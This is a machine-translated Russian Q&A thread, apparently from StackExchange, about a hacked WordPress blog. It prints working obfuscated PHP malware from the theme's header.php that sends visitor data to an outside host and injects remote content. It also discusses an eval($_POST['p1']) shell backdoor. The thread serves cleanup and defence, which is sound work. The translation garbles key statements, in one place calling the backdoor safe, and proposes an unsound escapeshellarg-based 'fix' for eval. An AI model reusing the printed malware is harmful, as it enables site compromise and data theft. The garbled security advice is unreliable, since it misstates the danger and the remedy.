Некоторые пользователи одного из наших блогов обнаружили, что при загрузке страницы под Windows с помощью антивируса, такого как Avast или NOD32, появляется сообщение.
Сообщение выглядит примерно так
"Удаленный адрес заблокирован. URL:" unloadpupil.org/u4offvzxwifsh2q/ "IP-адрес: 64.191.81.117:80
Я попытался найти этот URL-адрес или IP-адрес в базе данных моего блога, но не повезло, в нашем контенте нет никаких следов этого URL-адреса, поэтому я очень расстроен, что что-то действительно происходит без нашего ведома.
Есть ли способ найти источник проблемы?
***** Обновить ********
Файл phpAV, предложенный Mangia, является возможным вариантом, но я установил Плагин антивируса WordPress, и он дал мне список возможных файлов, затронутых вредоносным ПО. В теме моего сайта header.php имел в конце следующий текст:
<?php
error_reporting(0);
$cf=strrev('edo'.'ced'.'_46esab');$counter=$cf('aHR0cDovL3NpdGVzY3VscHRvci5iaXovbC5waHA/aWQ9').md5($_SERVER['SERVER_NAME']);
$data=array('HTTP_ACCEPT_CHARSET','HTTP_ACCEPT_LANGUAGE','HTTP_HOST','HTTP_REFERER',
'HTTP_USER_AGENT','HTTP_QUERY_STRING','REMOTE_ADDR','REQUEST_URI','REQUEST_METHOD','SCRIPT_FILENAME');
foreach($data as $val){$t[]=$_SERVER[$val];}$u=$counter.'&data='.base64_encode(serialize($t));$fn=file_get_contents($u);
if(!$fn||strlen($fn)<4){ob_start();include($u);$fn=ob_get_contents();ob_clean();}
if($fn&&strlen($fn)>4){list($crc,$enc)=explode('::',$fn);if(md5($enc)==$crc){echo $cf($enc);}}
?>
Что, согласно предыдущему сообщение на StackExchange, может быть вредоносное ПО. Я удалил его и ищу дальнейшие проблемы.
Сначала измените все пароли ftp и никому не говорите, пока не исправите это. Совершенно очевидно, что кто-то, у кого был пароль, заражен вирусом.
Проверьте файл .htaccess (также проверьте количество строк внутри .htaccess). Обычно они добавляют> 100 пустых строк внутри .htaccess (так что вы думаете, что файл пустой), а затем перенаправление или подобное содержимое.
Проверьте файлы шаблонов блога, потому что, если вы ничего не нашли в базе данных, вероятно, они находятся внутри файлов шаблонов (обычно это код JavaScript).
Кроме того, если ваш ftp-пропуск был сломан, возможно, вы загрузили что-то еще (например, оболочку). Чтобы найти проблемные функции внутри файлов php, проверьте следующий скрипт.
Прежде чем вы прочитаете этот пост, поймите, что я выхожу только из того пастебина, который просматривал. Не имея возможности увидеть всю кодовую базу, я могу ошибаться насчет санитарного состояния $_POST['p1'])
. Однако использование eval () любой переменной на самом деле является плохой практикой, поэтому даже если я ошибаюсь, этот пост по-прежнему актуален.
Похоже, вы используете eval () в этом скрипте php. Последующий :
eval($_POST['p1']);
является вне опасности под большинством настроек. Если у вас нет safe_mode
включен, это позволяет получить доступ к оболочке (путем внедрения shell_exec()
) всем, кто может установить p1
переменная через POST
, то есть любой, у кого есть веб-браузер и подключение к Интернету. Даже если у тебя есть safe_mode
включен, это небезопасно. PHP safe_mode
запускает ввод через escapeshellcmd()
, который не избегает символа "!" символ должным образом, который все еще может быть использован для выполнения кода, основанного на ссылках на историю, что означает символ '!' символ представляет.
Убедитесь, что перед вами КОГДА-ЛИБО отправить переменную в eval()
он должным образом убран и продезинфицирован. В этом случае что-то вроде eval(str_replace('!', '\!', escapeshellarg($_POST['p1']));
сможет запретить пользователю вводить команду оболочки через eval. Однако, поскольку намерение кода, похоже, состоит в том, чтобы выполнить все, что находится в $_POST['p1'])
, возможно, вы захотите взглянуть на редизайн модели. Если целью базы кода является предоставление действительного кода PHP в $_POST['p1'])
, будет практически невозможно гарантировать, что код не является вредоносным.
Обратите внимание: если вы работаете в Windows, команда! символ ничего не делает и является допустимым символом оболочки.
Также обратите внимание, что начиная с PHP 5.3 safe_mode
считается обесцененным, что означает, что полагаться на него - ужасная идея.
Если злонамеренный пользователь узнал о eval()
уязвимость, они смогут внедрить вредоносное ПО, упомянутое в вашем посте. Если мой анализ верен, и $_POST['p1']
не очищен, это действительно может быть вектор атаки, используемый злоумышленником.
Надеюсь, ваши проблемы с вредоносным ПО быстро решатся!